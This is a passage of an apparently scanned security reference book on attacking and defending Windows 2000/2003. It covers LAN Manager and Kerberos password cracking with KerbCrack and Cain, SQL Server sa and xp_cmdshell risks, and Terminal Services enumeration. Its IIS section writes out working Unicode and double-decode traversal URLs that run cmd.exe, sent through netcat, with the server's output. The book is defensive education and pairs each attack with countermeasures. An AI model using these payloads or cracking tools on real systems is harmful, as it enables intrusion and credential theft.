simply to the fact that so few targets support only NTLMv?2 that it hasn’t
yet become an issue.

The de facto Windows password cracker is the venerable [Ophtcrack,
now available as a commercial tool under the moniker “LC4” from @stake
Inc., http:/ /www.atstake.com. LC4 can capture LAN Manager challenge
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and response hashes off of the network and set to the task of cracking
them offline. LC4’s earliest predecessors were made available as proof-of-
concept examples and were freely available, but you can still download a
trial version of LC4 from @stake that will run for 15 days without brute
force capabilities. It is worth the download if only to read the help file for
more information on password cracking technologies.

Another off-the-wire Windows password cracker is Cain and Abel
available from http:/ /www.oxid.it/cain.html. Cain and Abel v2.5has a
host of other password cracking tools as well, ranging from HTTP au-
thentication to ICQ or MSN instant messenger logons (technically Cain
and Abel are two different applications—Cain is the password cracker
proper, and Abel is an information gathering service). Cain and Abel
even offers the ability to try to use ARP Poisoning to let you sniff activity
on a switched network by convincing victim devices that your system is
the gateway device. This kind of activity can have very high-profile net-
work-level side effects (the type that cause network administrators to
take up arms) so we don’t recommend using ARP poisoning anywhere
outside of a lab environment.

«fs Tools like Cain and Abel or LC4 are bad on the network, but are deadly when an at-
tacker has gained administrative control of any computer. With administrative privi-
leges, an attacker can dump the password hashes from the local SAM into a text
file and feed it into a password cracker such as LC4. Because most systems still
store the LAN Manager hash for backward compatibility, brute forcing these
hashes is a mere formality.

Use Strongest Authentication Methods

There probably won’t be a way to eliminate network authentication any
time soon, so the only way to protect against password sniffing attacks
is to ensure that you're using the strongest authentication protocols
available in Windows. If your environment is entirely Windows 2000 or
above in an Active Directory, you can (and will, by default) use Kerberos
authentication; otherwise, the strongest authentication method avail-
able will be NTLMv?2. Early Microsoft clients can install the Directory Ser-
vices client (DSClient.exe) from the Windows 2000 Server CD clients
directory to support NTLMv2. NTLMv2 applies additional encryption
methods to the NTLMv1 authentication challenge and response and uses
a 128-bit token as opposed to the 56-bit token of NTLMv1. This additional
obfuscation makes it extremely difficult to determine the actual NTLM
password hash from data on the wire in a reasonable amount of time.
You can use the Local Security Policy editor to prevent your sys-
tems from making or responding to weak authentication requests.
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On Windows 2003 and XP, this setting is available under Security Set-
tings | Local Policies | Security Options and goes by the name Network
security: LAN Manager authentication level. For maximum security, set
this value to Send NTLMv2 response only/refuse LM and NTLM, but
keep in mind this setting may affect the ability of older clients to au-
thenticate to this system. In Chapter 10, we will discuss how to push
these types of settings to domain member systems.

Kerberos authentication is new as of Windows 2000 and is supported
only in homogenous Windows 2000 and above environments. Kerberos
has a number of advantages over the previously available authentication
methods in Windows, and if you're interested in more details, Microsoft
has an extensive white paper on their implementation of Kerberos at
http:/ /www.microsoft.com/TechNet/prodtechnol /windows2000serv /
deploy/kerberos.asp. The logon process in Windows 2000 and above will
always try Kerberos first, so there’s no special configuration required.
However, as we'll see in the next hack, Kerberos is not entirely immune to
password sniffing attacks, either.

Cracking Kerberos Passwords off the Wire

Oh vyes, Kerberos, too. While Kerberos does have significant advan-
tages, there is still the possibility that passwords can be determined
from authentication transactions on the wire. The Kerberos v5 specifica-
tion (RFC1510) gives us the hints on page 8:

"Password guessing" attacks are not solved by Kerberos. If a
user chooses a poor password, it is possible for an attacker to
successfully mount an offline dictionary attack by repeatedly
attempting to decrypt, with successive entries from a
dictionary, messages obtained which are encrypted under a key
derived from the user's password.

Each host on the network must have a clock which is "loosely
synchronized" to the time of the other hosts; this
synchronization is used to reduce the bookkeeping needs of
application servers when they do replay detection. The degree
of "looseness" can be configured on a per-server basis. If
the clocks are synchronized over the network, the clock
synchronization protocol must itself be secured from network
attackers.

In the first paragraph, we know right away that there’s the possibil-
ity of deriving passwords, at least simple ones. The second paragraph
gives us a hint as to how. Because Kerberos requires that the machines
clocks be “loosely synchronized” for purposes of “replay detection,” we
can surmise that a timestamp plays a role in the authentication process.
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When a Windows device uses Kerberos to authenticate, it supplies a
login request, encrypted to a key derived from the password, which in-
cludes a well formatted timestamp (“YYYYMMDDHHMMSS” + “Z” to
indicate GMT) and a checksum. When this is captured off the wire, it is
possible to brute force the encryption looking specifically for that con-
stant “Z” in the decrypted data. When the “Z” is found, in the 15' " char-
acter of the timestamp string, and the remainder of the timestamp is
numeric, there’s a good chance that the password has been found. At
that point, the password is used to verify the checksum and ensure it’s
the correct password and not a highly random coincidence.

Ore tool is already available to capture Kerberos authentication and
crack it offline, KerbCrack by Arne Vidstrom of ntsecurity.nu. KerbCrack
is comprised of two tools, KerbSniff, a very simple sniffer application that
captures Kerberos preauthentication packets and writes the relevant data
to a text file, and KerbCrack, the actual brute-force tool that reads in
KerbSniff output and begins cracking the passwords:

C:\>kerbcrack.exe kerbcap.snf -bl 9

KerbCrack 1.2 - (c) 2002, Arne Vidstrom
- http://ntsecurity.nu/toolbox/kerbcrack/

Loaded capture file.

Currently working on:
Account name - patrick
From domain - HACKNOTES
Trying password - oucLoa

Fortunately, the key size and encryption methods of Kerberos
mean that brute forcing is not a terribly fast process. Using KerbCrack
(the tool’s author notes that it is not designed to be the fastest cracking
tool), it took almost 24 hours to brute force the password space of [a-z,
A-Z] to a length of six characters. You can also use the output of
KerbSniff to feed another password cracking tool such as Cain and
Abel. Figure 6-1 shows Cain running the same Kerberos Pre-auth crack
as the previous example with KerbCrack.

Complex Passwords: Brute Force’s Demise

With the exception of LAN Manager, all the other hashes and authenti-
cation methods become stronger as the password grows more complex.
When a password length is greater than seven characters, even simple
alphabetic brute forcing will take many hours. Dictionary attacks can
greatly reduce this time by paring down the possibilities and not testing
passwords such as dZxyHe. But if all passwords are of significant length
and contain at least one character from each of the character groups
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Figure 6-1. Cain v2.5 brute forcing a Windows 2000 Kerberos login

(lowercase alpha, uppercase alpha, numbers, symbols), the time re-
quired to brute force passwords grows exponentially.

In Windows 2000, XP, and 2003, password policies can be set in the
Security Policy editor to help users create passwords that are more dif-
ficult to crack. Note that on most of these operating systems, these op-
tions are disabled by default, and the operating system will gladly
accept passwords like password or adminpass without complaint. When
a 2000 or 2003 server is promoted to a domain controller, it will auto-
matically enable some password limitations and can push those re-
quirements down to domain members as well.

In Chapter 10, we will discuss using security policies more in depth,
including how to set password policies throughout a domain. To check
the password policy on your system, follow these steps:

1. Open the Security Policy editor by selecting
Start | Run... | secpol.msc.

2. Expand Security Settings.

3. Click on Password Policy.

Verify the settings in the right-hand pane. At a minimum, you should
enforce password complexity and a minimum length.
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There’s one other way to eliminate the threat of password cracking,
and that is to do away with passwords altogether. Using a two-factor
authentication system such as RSA’s SecurlD eliminates the risk of pass-
word cracking, because in the time it would take the attacker to brute
force the user’s PIN and passcode, the passcode will have changed.

Probing Microsoft SQL Server

Prior to the SQL Spida and Slammer worms, most discussions of SQL
Server security focused on protecting the data, not so much on protect-
ing the server. While the vulnerability that Slammer exploited was re-
ported months before the worm was released, many environments had
not patched all of their systems. Particularly exposed were the thou-
sands of installations of MSDE, the SQL Server desktop engine. In this
section, we'll briefly discuss some of the common SQL Server attacks
and how to protect against them.

Microsoft SQL Server (TCP/1433,
Sometimes Named Pipes on TCP/445)

In mid-2002, various Internet Watch organizations such as the SANS
Internet Storm Center began to notice an increase in scan activity on the
Microsoft SQL Server port, TCP/1433. Very quickly it became apparent
that a worm was gaining a foothold, and when the analysis was com-
plete, many SQL administrators had egg on their face. The SQL Spida
worm propagated by connecting to SQL Servers with the database
super user account (sa) and a null password. This was the default on
SQL Server 7.0 and some MSDE installations, leaving a gaping hole in
many environments.

SQL Server (sa) Account with No Password

SQL Server supports two different authentication modes. In addition to
pure Windows authentication (which uses the methods described in
Chapter 5), SQL can also be configured to support a native SQL authenti-
cation method in addition to Windows style authentication. Servers in this
configuration are said to accept mixed-mode authentication. Mixed-mode
implementations create a standard system-administrator account named
sa that has very extensive privileges within the SQL Server.

Even with Spida’s success and the ensuing lockdown, there are still
SQL implementations out there with the sa account password either
blank or set to a very simple password. This is a serious security risk, as
SQL server usually runs under the SYSTEM user, and the Transact-SQL
language exposes a function that allows an authenticated SQL user to
execute arbitrary commands on the server, xp_cmdshell.

There are a couple of excellent tools available to scan for systems
with no SQL sa password or other weak passwords. SQLPing v2.2 by
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Chip Andrews, discussed in Chapter 3, has facilities for attempting
brute-force SQL logins. If you're more comfortable with command-line
tools, ForceSQL v2.0 by Nilesh Burghate of Network Intelligence India
(http:/ /www .nii.co.in/tools.html) is another very speedy SQL brute-
force tool.

\
“ SQL Password Guessing Countermeasures

If you don’t require native SQL authentication, you can disable
mixed-mode authentication, and then you only need to worry about
the password cracking methods we covered in our Server Message
Block discussion. You enable or disable mixed-mode on the Security
tab of the SQL Server Properties in SQL Server Enterprise Manager,
Figure 6-2 shows a SQL Server configured for Windows authentication
only. Also notice that the server administrator has enabled Auditing
for login failures.

If you have a large number of SQL Servers to manage and pure
Windows authentication is not an option (frequently the case if the
SQL Servers are being used by non-Windows clients), you may want to

S0OL Server Propertiez [Configure] - MANDARK
Server Settings i Databaze Seftings ] Replization i Active Directory I
General | M emary i Frocessor Security Connections |
- Security

¥ o SOL Server provides authentication bazed on'Windows
accounts and a named SOL Server login 1D and password.

Authentication:
£ SHL Server and Windows
@ Windows only

Audit lewel:
= Mone Failure:
" Success Al

- Startup service account
—,;:% Start and run SOL Server in the following account:
-

" Spstem account

" This account I
Eassiyord |

QK l Cancel I Help I

Figure 6-2. SQL Server Authentication options
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consider implementing a password strength filter within the SQL
Server’s stored procedures. The EnforcePass function is also available
from Network Intelligence India (http:/ /www.nii.co.in/tools.html).

SQL Extended Procedures Privilege Escalation

As mentioned in the previous hack, there are SQL functions available to
properly authenticated SQL users that could be exploited by a well-
trained attacker to do her bidding. The reach and risk of these various
functions would take many pages to document, and would still fail to
fully explain how each of these tools could be exploited. The most com-
mon example will continue to be that of xp_cmdshell, whose name
alone should send chills down the spines of the security-conscious.

Many SQL administrators took it upon themselves to remove this
and other functions that they deemed risky, only to discover that they
were unable to install Microsoft-provided SQL Service Packs because
their installation depended on the availability of some of those danger-
ous functions. If you are interested in learning more about hacking and
securing Microsoft SQL Server, the appropriately named web site
SQLSecurity.com has a plethora of whitepapers, tools, and tutorials on
the gory details. Another excellent resource for SQL security tools, in-
formation and whitepapers is Next Generation Security Software at
http:/ /nextgenss.com.

pY
i‘ SQL Hardening Made Simple

With overworked administrators in mind, the folks at SQLSecurity.com
have launched a project to provide one step SQL Server hardening to
the world. Their SQL Lockdown script steps through the most sensitive
procedures available in SQL and ensures that only the most privileged
SQL users can use these functions. After this script is run, users who are
not members of the sysadmin role are fairly limited in their privilege es-
calation options.

This does not help much however if all SQL clients are attaching to
the system using sa (or equivalent) credentials, which is all too often the
case in environments where inexperienced SQL developers or adminis-
trators aren’t aware of the security implications. Further compounding
this problem is the issue of native SQL authentication—while SQL cli-
ents can be configured to use SSL encryption when connecting to a SQL
server, this option is not enabled by default and is actually fairly diffi-
cult to implement (see Microsoft KB article Q276553). Without SSL en-
abled, the SQL user’s password will travel the wire in clear-text. Note
that if SQL is communicating over named pipes, the transaction will be
subject to whatever encoding is negotiated by SMB.

91

$291M13S SMOPUI
payaeny Ajuowwo? SO



92 Part Il:  Windows 2000 and 2003 Server Hacking Techniques & Defenses

Whenever possible, have SQL make use of Windows authentication
services. When this is not an option, consider implementing the SSL en-
cryption option, or possibly use the IPSec services provided in Win-
dows 2000 to encrypt SQL communications according to a pre-shared
secret. (We'll discuss how to implement this solution in Chapter 12.) If
none of these approaches are feasible, then configure the SQL user ac-
counts appropriately—with the passwords traveling in the clear, it’s a
pretty safe bet the accounts will eventually fall into the wrong hands.
Defend as much as possible with measures such as firewalling to limit
the IP addresses that can access SQL and permissions restrictions for
non-administrative users limiting access to only the database, tables,
and rights they require.

Microsoft SQL Server Resolution Service (UDP/1434)

We discussed the SQL Resolution Service in Chapter 3 and mentioned
how this service can be used to sniff out Microsoft SQL Servers regard-
less of whether they are communicating using TCP /1433 or over named
pipes (direct SMB, TCP/445). This service also played host to the SQL
Slammer worm, by way of a buffer overflow in the service.

\ SQL Resolution Service Buffer Overflow

The buffer overflow used by the Slammer worm was first reported by
David Litchfield of NGSSoftware (http://www.nextgenss.com), and
was detailed in a conference at BlackHat Las Vegas in August of 2002.
Upon seeing the format of the SQL resolution service “ping” (the dis-
covery technique used by SQLPing v2.2 by Chip Andrews), Litchfield
and team became curious as to what other information could be dis-
closed by the resolution service. While probing the service with differ-
ent ping values, the service crashed. That crash eventually evolved into
Microsoft security bulletin MS02-039.

Because Slammer wreaked such havoc using this vulnerability, the
vast majority of systems are no longer susceptible. However, poorly
managed servers may still be running vulnerable versions, and there
are a number of working exploits available, many based on the Slammer
worm itself.

o
wY Microsoft SQL Server Resolution Service

Regardless of the buffer overflow, the SQL Server Resolution service
should never be exposed to external networks. All network choke points
should be configured to deny UDP /1434 requests unless explicitly per-
mitted between controlled endpoints. The SQL resolution service can re-
turn useful data about the SQL Server, including any SQL Server named
instances that are otherwise difficult to surmise.
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Microsoft Terminal Services /

Remote Desktop (TCP 3389)

It may come as a surprise to see Terminal Services (TS) on the list of most
commonly attacked Windows ports. It shouldn’t. Introduced as a spe-
cial edition of Windows NT 4.0 and then bundled with Windows 2000
Server and above, TS can be extremely valuable to an attacker. Terminal
Services are an authentication point, so if the attacker cannot access
SMB services on the device (due to firewalling), TS provides another
door to the system.

Windows XP took Terminal Services in another direction to provide
a powerful support option. Windows XP users can enable the Remote
Desktop service from their System Properties dialog box, as shown in
Figure 6-3. Although desktop and home users are not typically the tar-
get of a refined hacker, the ease with which the service is enabled in
Windows XP means there’s a fair number of accidentally configured
systems out there.

Terminal Services, like Microsoft SQL Server, is deserving of a much
more intensive discussion than is possible in the space of this reference.

1
Syztem Properties

General i Computer Mame ] Hardware i
System Restore i Automatic Updates

L Select the ways that this computer can be used fram another
T+ lacation.

-~ Flemate Agsistance
I Allow Bemote Assistance invitations to be sent from this computer

Learn maore about Flemote Assistance,

~ Remaote Desktop
¥ &llow users to connect remotely to thiz computer

Full zormputer narme:
mandark.hacknotes. local

Learn more about Bemote Deskiop.

Select Remote Users... |

’Tl Catcel | Apply |

Figure 6-3. Enabling Remote Desktop service on Windows XP
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If you have legitimate Terminal Services instances in your environment,
we strongly encourage you to learn more with regard to the user ac-
counts, permissions, and server configuration than we will detail here.
Our concern with Terminal Services now is simply to introduce it, show
you how to find it, and ensure the most basic defenses are in place.

ﬂ The firstincarnation of terminal services was referred to as Microsoft Windows NT 4.0
Terminal Server Edition. As a result, the term “Terminal Server’ came to refer to any
system offering terminal services. This expression is still commonly used and is re-
flected in this text.

Finding / Hiding Terminal Servers

Terminal Services run by default on TCP/3389, so a simple TCP port
scan on that port will usually turn up all instances of TS in your environ-
ment. However, it is possible to change the listening port of Terminal
Services on all operating systems (even XP), so rogue installations may
not be detectible in this fashion. Fortunately, there are two tools avail-
able from http://www.hammerofgod.com to help us out here.

ProbeTS and TSEnum use two different techniques to locate TS in-
stallations regardless of the port number they are using. ProbeTS steps
through a range of IP addresses and queries each host via RPC (remote
procedure call) for any instances of TS. ProbeTS requires rights to the
target host, however, so it can only be used once you've gained reusable
administrator credentials.

TSEnum uses a less privileged approach, but is currently still in beta
at the time of this writing. The author isn’t 100 percent confident of the
results and welcomes input on user’s experience with the tool. TSEnum
works by querying the master browser on the network for Terminal Ser-
vice instances that have registered with it. Unlike ProbeTS, TSEnum
requires no credentials, not even a null session:

E:\hacknotes>TSEnum.exe
TSEnum v1.0 thor@hammerofgod.com

NBName : MANDARK
Serv: Workstation
Serv: SQLServer
Comment :

NBName : PHALANX
Serv: Primary DC
Comment :

Entries enumerated: 2
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‘! Preventing Terminal Services Enumeration

Unfortunately, if TSEnum works, it will identify any Terminal Services
available on the network. In fact, as we discussed previously, running
Terminal Services on an alternative port could be a hack or a defense.
Changing the Terminal Services port can deter some remote attacks be-
cause the attacker would need access to the master browser of your net-
work to use TSEnum but having Terminal Services on alternative ports
also makes it more difficult to find them yourself.

If you so desire, you can change the Terminal Services port by ad-
justing the following Registry key value (the decimal value is the port
number):

HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP

You then need to configure Terminal Services clients to use the
newly assigned port. To do so, you must Export the connection in the TS
client to a text file and edit the Port= definition within; then Import the
connection again.

Terminal Services as an Authentication Point

At present, there are no known automated brute-force applications for
Terminal Services. The folks at hammerofgod.com have been kicking
one around, but at the moment the only brute-force tool for Terminal
Services is good old-fashioned human persistence. While this greatly
limits the password cracking exposure of terminal services, it’s still pos-
sible that an unauthorized user could get lucky.

Password Strength (Again)

If you're going to permit Terminal Services on your network, make cer-
tain that the valid TS users are subject to strong password policies such
as those discussed earlier in the chapter in the “Server Message Block
Revisited” section. Ensure auditing is in place for all TS activity and re-
member that you are allowing a remote user to run programs on the
server—this is extending a great deal of trust to that user.

Prior to Terminal Server’s introduction, a common premise was
that if an attacker can gain interactive access to a Windows system, Ad-
ministrative privileges will fall shortly thereafter. This is still true,
through the use of privilege escalation tools that were initially devel-
oped to help local users break their own workstations to gain local ad-
ministrative privileges. We'll discuss two of these tools in Chapter 8,
when we discuss Windows user permissions.
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SUMMARY

These are your worst offenders. The services we’ve discussed here are
those Windows services voted the meatiest by attackers and security
professionals alike, and if you can get a handle on these services and
concepts in your own environment, you're well ahead of the curve. As
you've probably observed by now, most hacks are not silver bullets—
even the elusive buffer overflow tools circulated in hacker IRC chan-
nels only provide part of the puzzle. Security isn’t only about blocking
the initial entry point, but also about limiting the handholds that an at-
tacker can use to further pilfer your network. In the following chapters,
we will begin to concentrate more on the features, tricks, and tools that we
can employ to make a hacker’s experience with our systems very diffi-
cult indeed.
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server provided by Internet Information Services (IIS). These ser-

vices have a long history of vulnerabilities, both within the
server and in the core extensions that are installed by default. While
most of the plug-in extensions execute under the restricted Internet user
guest accounts, the core server process executes as the highly privileged
system user. The common availability of this service combined with the
variety of default exposures it contains has helped IIS earn an unenvi-
able reputation for security.

In this chapter, we’ll explore some of the common vulnerabilities
found in the Internet Information Services packages included with
Windows 2000 (IIS 5.0). Note that while some of these vulnerabili-
tiescould be present on IIS 6.0 (particularly in the IIS 5.0 compati-
bility mode), none of them will work against a default installation of
Windows Server 2003. This is due to the extensive changes to the default
installation profile of IIS 6.0, which disables all dynamic content and in-
cludes no sample applications. For an overview of the changes in IIS 6.0
and other differences in Windows Server 2003’s security profile, refer to
Chapter 15. As we proceed through the vulnerabilities in this chapter,
we will include mention of its status on IIS 6.0.

One of the most common ports-of-entry for an attacker is the HTTP

WORKING WITH HTTP SERVICES

While Internet Information Services encompasses a variety of services
including FIP, SMTP, and NNTP, the most common IIS server is the
World Wide Web Publishing Service, or HTTP. Not surprisingly, this
service is where most of the IIS vulnerabilities are found and will be the
focus of our discussion. Before we begin discussing the vulnerabilities
in this service, it's important to understand the basic operation of HTTP.

Simple HTTP Requests

At its most basic, an HTTP connection is comprised of a client request
and a server response in a single session. An HTTP request specifies the
action and the resource requested, as well as any specific connection pa-
rameters or capability definitions provided by the browser. The re-
sponse will vary depending on the action and the resource, but in the
majority of cases will take the form of HTML data. A very simple HTTP
exchange may look like the following:

GET / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
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Date: Sat, 10 May 2003 05:12:53 GMT

Connection: Keep-Alive

Content-Length: 1270

Content-Type: text/html

Set-Cookie: ASPSESSIONIDGQQGQJIFC=ADAPBPDCAKPLFCKGHCNHNJIK; path=/
Cache-control: private

<HTML><BODY>

<P>Some html data..<BR>

</BODY></HTML>

The first line is supplied by the browser, specifying the action (GET),
the resource (/), and the HTTP protocol and revision (HTTP/1.0). The
browser follows this GET request with two carriage returns, which sig-
nals the HTTP server that the browser has completed its request. The
first line returned by the server is the HTTP response code, followed
by the HTTP headers, and finally the HTML data. Unless certain keep
alive options are set, the server terminates the connection after it has
responded to the request.

The example above did not specify any request parameters, so our
request was limited to a single line. Most browsers will provide signifi-
cantly more information to the server to indicate the types of content the
browser can accept, or in the case of forms, the data it is supplying.
These options follow the initial action and are followed by two carriage
returns. In many IIS vulnerabilities, the exploit is delivered through
these facilities. The following shows an abbreviated POST request:

POST /form.html HTTP/1.1

Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg
Content-type: application/x-www-form-urlencoded
Content-length: 14

username=modea

Some basic exploits can be executed entirely within the request URL
and can be launched from a standard browser like Internet Explorer.
Many exploits require that the attacker have more precise control over
their request, tuning the parameters normally supplied by the browser.
In these cases, the attacker needs more precision than most browsers can
provide.

Speaking HTTP

Because HTTP is a simple TCP protocol, it is possible to use a standard
telnet application to communicate with an HTTP server simply by spec-
ifying the HTTP port in the command line.

E:\hacknotes>telnet naive.hacknotes.com 80
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If you are a very good typist, the Windows telnet application can pro-
vide all the facilities needed for many HTTP hacks, but due to the lack of
local echo (seeing the characters that you are typing) using telnet can be
trying. For these types of probes, hackers and security professionals
alike usually turn to the netcat tool, nc. Originally released by
Hobbit on UNIX platforms, and later ported to Win32 by Chris Wysopal,
netcat provides a simple network connection tool that is very well
suited for basic HTTP. The package can be downloaded from @stake at
http:/ /www .atstake.com/research/tools/network_utilities/.

With netcat, we can prepare our HTTP requests in a text editor and
then use netcat to relay the contents of a file to our remote host. For ex-
ample, we could create a text file getreq.txt with the following contents:

GET / HTTP/1.0
[cr]
[cr]

Now, we will feed this file into a netcat connection to our target
HTTP server:

E:\hacknotes>type getreq.txt | nc naive.hacknotes.com 80
HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Connection: Keep-Alive

(.. .1

Throughout the chapter, we will provide sample HTTP requests
that you can use to test your own servers. To prevent simple errors from
affecting your tests, we recommend using netcat in this fashion.

6 In this simple example, we are showing a mere fraction of netcat’s full potential.
Later, in the “The Big Nasties: Command Execution” section, we’'ll use netcat to
“listen” for a shell from our target server when we run certain exploits. netcat is
commonly referred to as the TCP/IP Swiss Army Knife and can be used to commu-
nicate with services, create impromptu remote control sessions, or even transfer
files between two systems. Be sure to read the documentation for more examples
of netcat’s capabilities!

Delivering Advanced Exploits

When we begin to work with buffer overflow vulnerabilities in IIS pro-
cesses, our exploits will need to precisely deliver raw binary data,
known as shellcode, as part of our HTTP request. Some of these exploits
can be delivered using the netcat method described above, but in most
cases the exploit developers provide a Perl or C program that allows
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simple execution from a command-line interface. Exploits distributed in
source form can be described as academia and are usually disclaimed as
such. While precompiled exploits are frequently traded in hacker com-
munities, these tools are not usually posted publicly. So in many cases,
a working knowledge of Perl or C is a prerequisite to working with
these exploits.

«fs When you begin searching the Internet for exploit code, you must be very careful
with what you find. You should never compile or run anything that you don’t under-
stand, especially when it comes from an untrusted source. Code billed as an exploit
could actually be a virus or Trojan application, even if it is delivered in source form.
Proceed at your own risk, and exercise caution. If you do obtain working exploits,
use them responsibly—forensics consultants love novice hackers; they leave lots
of tracks.

Working with PERL Exploits

Perl (Practical Extraction and Reporting Language) is a multipurpose
scripting language available on a very wide range of platforms. Perl has
library support for raw TCP/IP socket operations, so an exploit devel-
oped in Perl can be just as easily used on Windows as it is on Linux or
Solaris. Perl exploits are usually more reliable than their C counterparts
as platform dependencies are not involved. When possible in this chap-
ter, we will demonstrate Perl exploits instead of the C equivalents.

For Windows systems, the most common Perl implementation is
ActivePerl, available from http:/ /www.activestate.com. There are other
binary distributions available as well—a complete list of ports (for
Windows and other operating systems) can be found at the Compre-
hensive Perl Archive Network’s homepage at http:/ /www.cpan.org.
The examples in this chapter were executed on a Windows XP system
running ActivePerl 5.8.0 build 806. When installing Perl, be careful not
to install any ISAPI or scripting extensions unless you want to use Perl
for web scripting—remember, we’re trying to secure IIS!

Working with C Exploits

In some cases, simple exploits that have been developed for the Linux
platform can be compiled under the Cygwin environment on Windows
systems. Cygwin, available from http://www.cygwin.com, provides
an emulation layer for applications by translating Linux system calls to
Windows facilities. Executables generated with Cygwin can be used
elsewhere provided that the cygwin1.dll library is available. In the Cygwin
environment, exploits can be compiled like so:

cygwin$ gcc -o exploit.exe exploit.c
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Other exploits may be developed to use native Windows socket li-
braries and usually require a commercial C compiler such as Microsoft
Visual C++ or Borland C++ to build. If you have access to one of these
tools, you can usually compile these exploits by creating a simple com-
mand-line executable project and simply pasting in the exploit code as
the only source file in the project. If you are not fortunate enough to
have a full development environment, you’ll need to enlist the services
of a colleague to build the exploits you find. As mentioned in the pre-
ceding note, you really should not attempt building any C exploits
without at least a cursory knowledge of the language; otherwise, you
may unwittingly play the role of a Patient X.

Often compilation on either platform requires basic debugging
skills such as identifying problems with line breaks or invalid charac-
ters introduced during HTML or other transfers. Less frequently, the ex-
ploit source will be delivered with a couple of deliberate bugs that
prevent successful compilation; these errors are easily corrected by ex-
perienced programmers but serve to prevent novices from obtaining a
working exploit. The same applies to the shellcode itself—sometimes
an exploit will successfully crash the target server but will not return the
expected shell.

INTRODUCING THE DOORS

In this chapter, we will discuss a number of buffer overflow and input
sanitization type attacks against default IIS installations. For space con-
straints and to keep things interesting, we will limit our discussion of IIS
vulnerabilities to those that pose the greatest risk to a system. Aside
from the vulnerabilities detailed here, there are many other IIS issues
that provide limited information disclosure pertaining to system
configuration or web application design. If you want to learn more
about hacking web applications, there are a number of excellent books
available that concentrate specifically on the subject, including the
HackNotes Web hacking reference (Hacknotes Web Security Portable Ref-
erence by Mike Shema [McGraw-Hill/Osborne, 2003]).

The Big Nasties: Command Execution

In this section, we’ll introduce some of the vulnerabilities that have seen
a great deal of action since their release. These issues, though easily
patched, provide attackers quick and easy access to the remote system
either by fooling IIS into allowing arbitrary file system navigation or by
exploiting unchecked buffer flaws in some of the default ISAPI applica-
tions. Many of these issues can result in immediate Local System-level
compromise, so an attacker needn’t worry about privilege escalation be-
fore he begins harvesting the system’s resources (or trusts!).



Chapter 7:  Hacking Internet Information Services

Unicode / Double Decode URL Parsing Attack

One of the most simplistic yet devastating IIS hacks, the Unicode/dou-
ble decode URL parsing vulnerability, is caused by poor URL handling
within IIS. When a request is received, IIS checks to ensure that the URL
specified is acceptable before passing it on for processing. If IIS detects
an obvious violation, it rejects the request. So if you point your browser
to http://target_host/scripts/../../../ ../ ../ winnt/system32/cmd.exe? / c+dir,
you receive a 404 error. IIS detects the presence of directory traversal (/
../..) and summarily rejects the request.

However, if you replace parts of the URL with Unicode-encoded
strings, IIS fails to detect the traversal attempt. The reason for this be-
havior is that IIS processes the URL encoding after it verifies the validity
of the URL. So to bypass the checking, we can simply replace parts of the
URL with Unicode-encoded characters, like so:

http://naive/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+d:\

Creating a netcat input file as described earlier with this resource,
we can create a simple command to test servers for Unicode exposure:

E:\hacknotes>type uniget.txt
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+d:\ HTTP/1.0

E:\hacknotes>type uniget.txt | nc 192.168.100.15 80
HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Sat, 10 May 2003 18:54:31 GMT

Content-Type: application/octet-stream

Volume in drive D is W2SFPP_EN

Volume Serial Number is 6532-EE86

Directory of d:\

12/07/1999 05:00a 45 AUTORUN. INF
12/07/1999 05:00a <DIR> BOOTDISK
12/07/1999 05:00a 5 CDROM_IS.5
12/07/1999 05:00a 5 CDROM_NT.5
12/07/1999 05:00a <DIR> CLIENTS
12/07/1999 05:00a <DIR> I386
12/07/1999 05:00a <DIR> PRINTERS
12/07/1999 05:00a 16,490 READIST.TXT
12/07/1999 05:00a 233,472 README.DOC
12/07/1999 05:00a 151,824 SETUP.EXE

[. . .1

Obviously Unicode filesystem traversal and command execution was
a serious vulnerability, allowing advanced hacking to be conducted by a
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novice with no more elaborate tools than a copy of Internet Explorer.
Microsoft responded quickly with a patch for the issue in security bul-
letin MS00-086. The patch was also rolled up with the release of Win-
dows 2000 Service Pack 2. Unfortunately, a short time later a very
similar parsing flaw was discovered, affecting even servers running
SP2. While the MS00-086 patch had updated IIS to decode the Unicode
entries in the URL before passing the request, researchers at NSFocus de-
termined that because IIS performed only one Unicode translation be-
fore validation, they could simply provide “double encoding” by
specifying the hexadecimal equivalent of the % sign, %25. After this first
encoding is processed, the remaining URL can be even more simplistic
than those used to exploit the Unicode vulnerability. This technique for
bypassing the Unicode protection in MS00-086 is referred to as “dou-
ble-decode” or “superfluous Unicode.” Expressed in this form, our pre-
ceding URL would look like this:

http://naive/scripts/..%255c../winnt/system32/cmd.exe?/c+dir

Double-decode can work equally well regardless of whether or not
the target has installed SP2 or MS00-086. When the host does have one
of these patches, it performs a single pass of decoding on the URL, so
when the URL is processed, it looks like this:

http://naive/scripts/..%5c../winnt/system32/cmd.exe?/c+dir

The %5c is simple hexadecimal encoding of the / character, so the
request is equivalent to our Unicode attacks above. The double-decode
vulnerability was addressed as a post-SP2 patch in security bulletin
MS01-026 and included in Windows 2000 SP3.

Let’s take a quick moment to take a look at the URLs we have pro-
vided in these requests. We'll dissect our Unicode, http:/ /naive/scripts/
..%c0%af../winnt/system32/cmd.exe? /c+dir+d:\. First, notice that our
request begins with a legitimate IIS default directory, scripts. In a default
IIS 5.0 install, this virtual directory allows execution of both scripts and
executable programs, whereas the root directory permits only script ex-
ecution. Other default virtual directories have similar permissions, so if
at first you don’t succeed, try and try again. Even though the actual pro-
gram we're running is well out of the web directory, the fact that the di-
rectory traversal begins in the scripts virtual directory allows us to run
command-line applications. If you try executing the previous netcat test
without the scripts directory, the request will fail.

Following the scripts directory, we have our encoded directory tra-
versal. There are actually a variety of encodings to accomplish this—
some Unicode, some double-encoded, and we’ve provided a table of
these encodings in the Reference Center. After we’ve completed our
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directory traversal (to the drive root, in this case), we simply walk back
up the directory tree to an executable who's location we have guessed
based on common defaults. Our final resource for this URL is cmd.exe,
and we provide command-line options using standard URL parameter
passing. If we can guess where the application is, we can run it! How-
ever, this means that if the web root is not on the same file system as the
system directory, we are more limited in finding applications.

Of course, because we are only fooling IIS, as opposed to com-
pletely exploiting it, we are limited in our privileges. Figure 7-1 shows
a Unicode attack launched from Internet Explorer, running the
